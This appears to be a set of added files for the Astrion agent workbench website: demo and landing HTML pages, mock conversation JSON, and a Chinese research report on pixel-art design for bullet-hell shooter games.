<p class="hint">自动循环播放:赶工 → 闯祸 → 惊吓 → 时光机倒流 → 归来。</p>
<div class="anim-host" id="animVersion"></div>
</div>
<script src="/site-assets/astrion-avatar.js"></script>
<script src="/site-assets/anim-version.js"></script>
<script>AnimVersion.init(document.getElementById('animVersion'));</script>
</body>
</html>

View File

@ -0,0 +1,88 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Astrion</title>
<link rel="icon" type="image/svg+xml" href="/static/astrion-avatar.svg">
<link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png">
<link rel="apple-touch-icon" sizes="180x180" href="/static/apple-touch-icon.png">
<link rel="stylesheet" href="/static/style.css">
<link rel="stylesheet" href="/static/easter-eggs/flood.css">
<link rel="stylesheet" href="/static/easter-eggs/snake.css">
</head>
<body>
<div id="app"></div>
<script>
// 全局复制代码块函数
function decodeHtmlEntities(text) {
const textarea = document.createElement('textarea');
textarea.innerHTML = text || '';
return textarea.value;
}
function copyCodeBlock(blockId) {
const codeElement = document.querySelector(`[data-code-id="${blockId}"]`);
if (!codeElement) return;
const button = document.querySelector(`[data-code="${blockId}"]`);
if (button && button.classList.contains('copied')) return;
const raw = codeElement?.dataset?.originalCode || codeElement?.textContent || '';
const codeContent = decodeHtmlEntities(raw);
if (!button) {
navigator.clipboard.writeText(codeContent).catch((err) => console.error('复制失败:', err));
return;
}
if (!button.dataset.originalLabel) {
button.dataset.originalLabel = button.getAttribute('aria-label') || '复制代码';
}
navigator.clipboard.writeText(codeContent).then(() => {
button.classList.add('copied');
button.setAttribute('aria-label', '已复制');
setTimeout(() => {
button.classList.remove('copied');
button.setAttribute('aria-label', button.dataset.originalLabel);
}, 2000);
}).catch((err) => {
console.error('复制失败:', err);
button.classList.remove('copied');
button.setAttribute('aria-label', button.dataset.originalLabel || '复制代码');
});
}
</script>
<script src="/static/easter-eggs/registry.js"></script>
<script src="/static/easter-eggs/flood.js"></script>
<script src="/static/easter-eggs/snake.js"></script>
<script src="/static/security.js"></script>
<script>
/* 演示引导:注册 mock SW等 controllerchange 后换路由、再加载真实前端 */
(function () {
// 固定演示呈现状态:经典配色 + 极简模式 + 快捷窗口自动展开,不受访客浏览器缓存影响
try {
localStorage.setItem('agents_ui_theme', 'classic');
localStorage.setItem('agents_personalization_experiments', JSON.stringify({ blockDisplayMode: 'minimal' }));
localStorage.setItem('agents_quick_dock_auto_expand', 'true');
} catch (e) {}
var TARGET = /^\/(?:conv_)?\d{8}_\d{6}_\d{3}$/.test(location.pathname) ? location.pathname : '/20260823_122836_778';
function loadMain() {
var s = document.createElement('script');
s.type = 'module';
s.src = '/static/dist/assets/main.js';
document.body.appendChild(s);
}
async function boot() {
if (!('serviceWorker' in navigator)) { loadMain(); return; }
try { await navigator.serviceWorker.register('/sw.js'); } catch (e) { loadMain(); return; }
if (!navigator.serviceWorker.controller) {
await new Promise(function (resolve) {
navigator.serviceWorker.addEventListener('controllerchange', resolve, { once: true });
setTimeout(resolve, 4000); // 兜底,防止极端情况下死等
});
}
history.replaceState(null, '', TARGET);
loadMain();
}
boot();
})();
</script>
</body>
</html>

View File

@ -0,0 +1,190 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Astrion — 住在你机器上的智能体工作台</title>
<meta name="description" content="Astrion 是开源、自托管的智能体工作台:在本机处理你的代码与工作,也可以部署到云端提供多人服务,体验一致。" />
<link rel="icon" type="image/svg+xml" href="/static/astrion-avatar.svg" />
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
<link rel="stylesheet" href="/site-assets/anim-shared.css" />
<link rel="stylesheet" href="/site-assets/anim-sandbox.css" />
<link rel="stylesheet" href="/site-assets/anim-records.css" />
<link rel="stylesheet" href="/site-assets/anim-version.css" />
<link rel="stylesheet" href="/site-assets/site.css" />
</head>
<body>
<canvas id="starfield" aria-hidden="true"></canvas>
<!-- ───────────────── 顶栏 ───────────────── -->
<header class="topbar" id="topbar">
<div class="topbar-inner">
<a class="brand" href="/" aria-label="Astrion 首页">
<span class="brand-name">Astrion</span>
</a>
<nav class="topnav">
<a class="topnav-link" href="#features">功能</a>
<a class="topnav-link" href="#faq">FAQ</a>
<a class="topnav-link" href="https://github.com/JOJO6618/astrion" target="_blank" rel="noopener">GitHub</a>
<a class="btn btn-primary btn-sm" href="https://github.com/JOJO6618/astrion" target="_blank" rel="noopener">Try Astrion</a>
</nav>
</div>
</header>
<main>
<!-- ───────────────── 总览 ───────────────── -->
<section class="hero">
<div class="hero-inner">
<p class="eyebrow">开源 · 自托管 · 本机优先</p>
<div class="hero-title-row">
<h1 class="hero-title">Astrion<span class="hero-mascot" id="heroMascot" aria-hidden="true"></span></h1>
</div>
<p class="hero-sub">住在你机器上的智能体工作台。开源、自托管,可以处理你的本地代码和工作,也可以部署在云端提供多人服务,体验一致。</p>
<div class="hero-actions">
<a class="btn btn-primary" href="https://github.com/JOJO6618/astrion" target="_blank" rel="noopener">下载</a>
<a class="btn btn-ghost" href="https://github.com/JOJO6618/astrion#readme" target="_blank" rel="noopener">查看文档</a>
</div>
<p class="hero-platforms">
<span class="platform">Terminal <em>(beta)</em></span>
<span class="platform-sep"></span>
<span class="platform">Web</span>
<span class="platform-sep"></span>
<span class="platform">Windows</span>
<span class="platform-sep"></span>
<span class="platform">macOS</span>
<span class="platform-sep"></span>
<span class="platform">Android</span>
</p>
</div>
</section>
<!-- ───────────────── 演示 ───────────────── -->
<section class="demo" id="demo">
<div class="section-head">
<p class="eyebrow">Demo</p>
<h2 class="section-title">它工作时的样子</h2>
<p class="section-sub">下面是真实运行的 Astrion 界面,接着一份静态演示数据。可以点击切换对话、展开工具记录、打开右侧快捷窗口查看子智能体。</p>
</div>
<div class="demo-frame-wrap">
<div class="demo-frame" id="demoFrame">
<iframe id="demoIframe" src="/demo.html" title="Astrion 界面演示" loading="lazy"></iframe>
</div>
</div>
<p class="demo-note">演示环境只含静态数据;实际使用由你自己的模型驱动。</p>
</section>
<!-- ───────────────── 特色功能 ───────────────── -->
<section class="features" id="features">
<div class="section-head">
<p class="eyebrow">Features</p>
<h2 class="section-title">围绕「放心交给它做事」设计</h2>
</div>
<div class="feature-list">
<div class="feature-row feature-row--anim">
<div class="feature-text">
<p class="feature-index">01</p>
<h3 class="feature-title">计划 / 询问 / 执行</h3>
<p class="feature-desc">三种运行模式决定它什么时候动手。<br>计划模式只出方案,批准后才开始改;<br>询问模式先讨论清楚再开工;<br>执行模式直接做完再汇报。</p>
</div>
<div class="feature-anim" id="animModes" aria-hidden="true"></div>
</div>
<div class="feature-row feature-row--anim">
<div class="feature-text">
<p class="feature-index">02</p>
<h3 class="feature-title">沙箱与网络授权</h3>
<p class="feature-desc">命令默认在操作系统沙箱里执行,写文件、访问网络都要经过授权。<br>macOS 使用系统沙箱Windows 通过 WSL2 获得完整隔离;<br>网络权限单独开关,与文件权限互不影响。</p>
</div>
<div class="feature-anim" id="animSandbox" aria-hidden="true"></div>
</div>
<div class="feature-row feature-row--anim">
<div class="feature-text">
<p class="feature-index">03</p>
<h3 class="feature-title">修改记录</h3>
<p class="feature-desc">每一次文件编辑都留下一条 diff<br>改了哪个文件、加了几行、删了几行。<br>按任务逐条查看,也可以单独撤销其中任意一次修改。</p>
</div>
<div class="feature-anim" id="animRecords" aria-hidden="true"></div>
</div>
<div class="feature-row feature-row--anim">
<div class="feature-text">
<p class="feature-index">04</p>
<h3 class="feature-title">版本控制</h3>
<p class="feature-desc">每条消息自动成为一个检查点。<br>发现方向不对时,回退到任意一条消息之前——<br>对话和文件一起还原,不用手工收拾残局。</p>
</div>
<div class="feature-anim" id="animVersion" aria-hidden="true"></div>
</div>
</div>
</section>
<!-- ───────────────── FAQ ───────────────── -->
<section class="faq" id="faq">
<div class="section-head">
<p class="eyebrow">FAQ</p>
<h2 class="section-title">常见问题</h2>
</div>
<div class="faq-list">
<details class="faq-item">
<summary class="faq-q">运行 Astrion 需要什么环境?<span class="faq-icon"></span></summary>
<div class="faq-a"><p>Python 3.9+ 和 Node.js 18+。克隆仓库后安装依赖、构建前端,一条命令启动,默认监听 8091 端口。macOS、Linux、WindowsWSL2都可以运行。</p></div>
</details>
<details class="faq-item">
<summary class="faq-q">我的数据存在哪里?<span class="faq-icon"></span></summary>
<div class="faq-a"><p>全部在你自己的机器上:对话记录、工作区文件、日志默认放在 <code>~/.astrion/astrion/</code> 下,可以通过环境变量整体搬迁。不经过任何第三方服务器。</p></div>
</details>
<details class="faq-item">
<summary class="faq-q">宿主机模式和 Docker 模式有什么区别?<span class="faq-icon"></span></summary>
<div class="faq-a"><p>宿主机模式下 Astrion 直接操作你的本机文件适合处理日常工作和本地代码Docker 模式把任务放进容器执行,适合需要隔离或多人共用的部署。两种模式界面与能力一致,数据可以互通。</p></div>
</details>
<details class="faq-item">
<summary class="faq-q">支持哪些模型?<span class="faq-icon"></span></summary>
<div class="faq-a"><p>任何 OpenAI 兼容接口都可以接入:官方 API、聚合网关、本地推理服务都行。主智能体和子智能体可以分别配置不同的模型。</p></div>
</details>
<details class="faq-item">
<summary class="faq-q">可以部署给多人使用吗?<span class="faq-icon"></span></summary>
<div class="faq-a"><p>可以。部署到服务器后自带多用户体系,每人独立工作区,通过浏览器访问,也有 Android 客户端。同一套界面,本机和云端体验一致。</p></div>
</details>
<details class="faq-item">
<summary class="faq-q">它执行命令安全吗?<span class="faq-icon"></span></summary>
<div class="faq-a"><p>有四层控制:权限模式决定哪些操作需要批准;命令默认在 OS 沙箱内运行;网络访问单独授权;所有文件修改留有记录可以随时回退。你可以从「每条命令都要批准」一路调到「完全放开」,粒度自己定。</p></div>
</details>
</div>
</section>
</main>
<!-- ───────────────── 底栏 ───────────────── -->
<footer class="footer">
<div class="footer-inner">
<div class="footer-brand">
<span>Astrion</span>
</div>
<nav class="footer-links">
<a href="https://github.com/JOJO6618/astrion" target="_blank" rel="noopener">GitHub</a>
<a href="https://github.com/JOJO6618/astrion#readme" target="_blank" rel="noopener">文档</a>
<a href="#demo">演示</a>
</nav>
</div>
</footer>
<script src="/site-assets/astrion-avatar.js"></script>
<script src="/site-assets/anim-sandbox.js"></script>
<script src="/site-assets/anim-modes.js"></script>
<script src="/site-assets/anim-records.js"></script>
<script src="/site-assets/anim-version.js"></script>
<script src="/site-assets/site.js"></script>
</body>
</html>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1 @@
{"success": true, "data": {"conversations": [], "has_more": false, "limit": 20, "offset": 0, "total": 0}}

View File

@ -0,0 +1 @@
{"success": true, "data": {"conversations": [{"id": "conv_20260823_122836_778", "title": "弹幕游戏美术设计调研", "project_path": "/Users/demo/starraid", "project_relative_path": null, "multi_agent_mode": false, "thinking_mode": true, "status": "active", "total_messages": 29, "total_tools": 13, "created_at": "2026-08-23T12:28:36.778945", "updated_at": "2026-08-23T13:32:51.486262"}, {"id": "conv_20260823_133304_218", "title": "尚界Z7与小米SU7外观对比", "project_path": "/Users/demo/daily", "project_relative_path": null, "multi_agent_mode": false, "thinking_mode": true, "status": "active", "total_messages": 11, "total_tools": 6, "created_at": "2026-08-23T13:33:04.218941", "updated_at": "2026-08-23T13:35:36.442941"}], "has_more": false, "limit": 20, "offset": 0, "total": 2}}

View File

@ -0,0 +1,259 @@
# 像素风格弹幕射击游戏Bullet Hell / STG美术设计调研报告
> 调研时间2026-08-23
> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源
> 主要信息来源SLYNYRDPixelblog 31/32、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)
---
## 0. 摘要与总体结论
- **弹幕游戏Danmaku的美术核心不是"好看",而是"可读性Readability"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨"哪些是威胁、往哪里躲"。所有美术决策都应服务于这一目标。
- **色彩价值Value分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。
- **尺寸基准很重要**16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270让像素感更强烈、单位像素信息更少、制作更快。
- **判定框Hitbox视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家"真正会中弹的位置",与自机精灵大小形成强烈对比。
- **免费素材足够支撑原型开发**itch.io 与 OpenGameArt 上有大量免费像素 STG 素材自机、敌机、子弹、爆炸、UI落地阶段可先采购/复用,再逐步原创替换。
---
## 1. 玩家飞船 / 角色设计
### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)
- SLYNYRDRaymond SchlitterThyrian Defenders 作者建议16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。
- 分辨率越低像素越"块",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的"集群可读性reading intention within clusters"。
- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。
- 常见像素倍率:逻辑分辨率 320×180 / 480×270放大 2~4 倍整数倍显示,避免像素走样。
**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16低配小自机或 24×24 / 32×32更有性格弹幕量较大的话自机宜偏小。
### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)
综合 SLYNYRD 教程与 Boghog 指南:
- **简洁+独特**设计越复杂动画越难做。建议在机翼加条纹striping增加性格同时强调滚转roll的深度感。
- **倾斜/滚转动画**:至少 左/右 + 居中 三帧SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。
- **尾焰/推进器动画thruster animation是必须**:让飞船"活着"的关键,通常 2~4 帧。
- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持"飞行"的立体幻觉。
- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要"厚、快、密"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置Boghog③ 判定中心可加视觉强调(见 1.5)。
- **移动手感与视觉配合**滚转动画速度应匹配移动速度无惯性移动Boghog 强烈建议避免移动惯性),若感觉移动"不流畅"多半是视觉问题而非参数问题——加残影afterimage、尾迹trail可显著改善跟手感。
### 1.3 东方Project 系列的角色精灵风格
(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)
- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**PC-98 时代为 16×16 级Windows 时代精灵更精细但整体仍是"小尺寸、高识别度"路线)。
- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。
- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。
- 弹幕本体是同人圈大量复刻的视觉语言圆弹tama、椭圆弹、苦无kunai、星弹、音符、护符amulet见第 3 节。
- 参考手绘同人/教程中常被提到的 ZUN 风格要点面部与发型保持多年一致早期PC-98更简朴色块平涂、用色大胆Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。
### 1.4 像素飞船设计要点(落地 Checklist
| 项目 | 建议 |
|---|---|
| 尺寸 | 16×16极简/ 24×24 / 32×32推荐起步 |
| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |
| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |
| 描边 | 深色(近黑)描边,与"用白色描边的敌方子弹"形成体系区分 |
| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |
| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |
### 1.5 判定框Hitbox视觉提示设计
- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。
- **视觉提示做法(主流方案)**
1. **低速/聚焦模式才显示**:按住 Shift低速时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。
2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种"旋转+透明度变化"行为)。
3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。
- **视觉之外的判定公平性**Boghog 建议——玩家子弹给"大判定"、敌人给"大受击判"(补偿微操作失误);玩家命中应"慷慨"(覆盖贴合情况),才不会有挫败感。
---
## 2. 敌方单位设计
### 2.1 杂兵Enemy Grunts的像素设计
- **同一阵营视觉统一+个体差异**SLYNYRD 强调"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分"。
- **角色定位决定美术**:按"速度 / 血量 / 体型 / 几何弹道 / 颜色"五要素设计SLYNYRD
- **Popcorn一发即死的小怪**:体积小、快、成群出现,是为了制造"动作感"而非威胁;血量只要够"打完这一局"即可不要虚高Boghog
- 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。
- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像"虚影"Boghog
- **大判定+可预测移动**弹幕游戏的挑战来自弹幕而非躲闪敌人本体所以敌人受击判定要大、移动要慢且可预测Boghog
- **尺寸参考**:杂兵 16×16 ~ 24×24中 Bossminiboss32×32~48×48帧数 2~4 帧(多帧震动/开火动画)。
### 2.2 Boss 的体型与细节层次
- **体型梯度**Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96"越大杀起来越爽"SLYNYRD但不要大到遮挡弹幕视野。
- **细节层次**Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。
- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到"视觉上将 Boss 血条分段以显示本段攻击何时结束"。
- **Boss 出场仪式**Boss 出现前要有"警告留白"(玩家无事可做、专注看字幕/警告用于聚集注意力Anatomy of a Shmup
- **Boss 爆炸要"壮观"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。
### 2.3 敌方攻击前的视觉预警Telegraph
- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧"粒子向炮口汇聚/炮口颜色渐亮"表达。
- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。
- **激光预警**:东方系激光常见"先显示一条细亮线(约半秒)再出现命中判定",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。
- **模式分阶段呈现**Boss 战先出简单版弹幕→每次重复更快更密更狠Bullet Pattern Design 教程),玩家靠"渐进式预告"进入节奏。
- **背景预告**:关卡背景用"地标/视觉节奏"给玩家读版记忆的锚点SLYNYRD Part 2——背景不只是装饰是记忆关卡的工具。
- **弹幕扇面/轨迹预告**可弯曲、可追踪的弹幕建议加尾迹或拉长精灵让轨迹可读Boghog
---
## 3. 子弹 / 弹幕的像素美术
### 3.1 常见像素子弹样式与尺寸
**东方/弹幕体系常用子弹类型命名**Touhou Community Jargon、Danmakufu 文档Ball、椭圆弹、苦无Kunai、护符Amulet、星弹Star 大/小、音符Note、米粒/细菌弹、冰锥/碎片Shard/Icicle、箭头Arrow、火球、心形、花瓣、蝴蝶等。
| 子弹类型 | 常见尺寸 | 形态与用途 |
|---|---|---|
| 小圆弹Pellet/Tama | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |
| 中圆弹Ball | 16×16 | 通用主力弹,清晰可读 |
| 椭圆弹Oval | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |
| 苦无/箭形/导向弹Directed | 16×32 左右 | **方向性最重要**图形应随移动方向旋转SLYNYRD Part 2箭头形追踪弹必须朝向运动方向 |
| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |
| 激光Laser | 宽 4~16、长任意 | 预热细线→粗化→判定 |
### 3.2 子弹颜色与类型的对应关系
- **Danmakufu 官方 8 色**RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点且激光与子弹共用这 8 色图形。
- **颜色编码用途Note 上"15 个美丽弹幕"文章 + Boghog**
- 用颜色区分"快弹 / 慢弹 / 装饰弹"等**危险等级**,玩家读色即知威胁;
- 颜色同时用于表达"瞄准玩家的弹aimed"与"固定弹static"等行为差异(各 STG 有自己约定,需在游戏内自学);
- **红/粉/紫系是弹幕圈事实标准**与常见特效颜色黄橙爆炸、金色道具冲突最少不易混淆Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。
- **子弹颜色与发射单位颜色匹配**SLYNYRD敌方单位与它发射的子弹同色系建立"谁打的"直觉。
- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。
### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)
- **闪烁Flashing**:双帧交替即可,对比越强越"危险"但对比过强高速移动时反而难追踪SLYNYRD常用于"即将消失/即将命中"状态。
- **旋转Rotation**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴"翻转"来模拟 3D 感。
- **脉动Pulse**:轻微膨胀-收缩,任何形状都适用,让子弹"活着"。
- **波动/涟漪Wobble/Ripple**CAVE虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**Boghog
- **动画帧数建议**2D 旋转 4 帧90°步进起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。
- **拖尾Trail**:轨迹不寻常(弯曲/追踪的子弹加尾迹帮助玩家预判Boghog
### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)
- **价值Value分层**:将图像转黑白即可检查——子弹应"亮部+暗部紧挨"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**让子弹可以用极值明度自由突出Boghog
- **描边Outline体系****敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把"威胁"和"物体"分开SLYNYRD
- **分块/分组Chunking**:把子弹编成线/环/簇等可读图案,让玩家读"组合"而非单颗;**单颗游离子弹最难读,容易显得不公平**Boghog
- **深度排序Depth Sorting**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上Boghog
- **留隙Design gaps**:弹幕模式要"设计缝隙"——玩家能看见逃生路就公平光炫但读不出路就让人感到不公平note 文章)。
- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种Boghog 风格惯例),避免信息过载。
- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。
---
## 4. 特效与 UI
### 4.1 爆炸特效的像素动画SLYNYRD 方法)
- **制作流程**:先用"圆→扩张变细环"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。
- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。
- **颜色演变****白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。
- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。
- **冲击波**:把引导环稍作修改即可成冲击波环。
- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留Anatomy of a Shmup 强调"一切被摧毁的都应爆炸Boss 阵亡必须是一场辉煌的灯光秀")。
- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~488 帧左右);碎屑粒子 2~8 帧。
### 4.2 拾取道具的视觉效果
- **可读性优先**:道具必须一眼区别于"威胁物",形态独特 + **活跃的空闲动画**idle animation——旋转、漂浮、脉动、闪光都行SLYNYRD Part 2
- **经典道具色/形**PPower 火力红色系、SSpeed 速度、Bomb全屏雷、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。
- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等"伸手去接也有意思"的运动。
- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。
- **点收集Point of Collection**:靠近屏幕顶端的一条"自动收集线"东方系标准道具回收机制线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。
### 4.3 得分 / 连击的视觉反馈
- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。
- **连击Combo/Chain反馈**:连击计时条/乘数图标(如"x2.5")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感Dodonpachi 式"防御性计分"靠视觉压力驱动玩法)。
- **擦弹Graze反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。
- **分数增长可视化**:让"数字变大"成为本能驱动Boghog大亮数字的成长本身就是激励
- **层次化强调**重要计分元素视觉上加强更大更亮次要元素弱化让玩家一眼抓住当前目标Boghog「Depth vs Clarity」
### 4.4 血条、Bomb 数量等 HUD 设计
- **HUD 基础要素**STG 惯例):得分、连击/擦弹、自机数量残机图标、Bomb 数量B 图标、火力等级、Boss 血条分段、Boss 名/符卡名横幅、暂停/接关菜单。
- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示"即将切换攻击"。
- **Bomb 图标**:用典型"B"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。
- **残机Lives**:像素自机小图标排列,比数字更直观。
- **注意遮挡**HUD 元素放在玩法区之外(顶部/底部条或半透明Boghog 提醒玩家主要在屏幕中区活动HUD 不应遮挡弹幕视野。
- **风格统一**HUD 的像素分辨率、色板、字体与游戏本体一致CraftPix 等素材库提供现成 pixel UI可直接适配
- **像素 UI 素材参考**CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。
---
## 5. 参考资源搜索汇总
### 5.1 itch.io 免费/付费像素弹幕素材
| 资源 | 内容 | 链接 |
|---|---|---|
| **Danmaku Sprite Pack**Void dancer| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |
| **Danmaku Sprite PackBDragon1727** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |
| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**DyLESTorm| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |
| **Pixel Nebula Player SpaceShip**PixelCarvel| 32×32 自机另有玩家僚机Drone、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |
| **TopDown BulletHell Pack**einav23| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |
| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |
### 5.2 OpenGameArt 免费素材CC0/OGA-BY 授权)
- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art
- **Assets Free Laser Bullets Pack 2020**Wenrexa66 个 CC0 激光/子弹 PNG建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020
- **Enemy Spaceship 2D Sprites Pixel Art**CraftPix 发布OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art
- **shmup 合集页**https://opengameart.org/content/shmup
### 5.3 经典 STG 精灵分析与弹幕设计参考
- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox
- **Touhou Danmakufu: BulletsFandom**8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets
- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon
- **Sparen's Danmaku Design StudioGuide A2/A3**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html
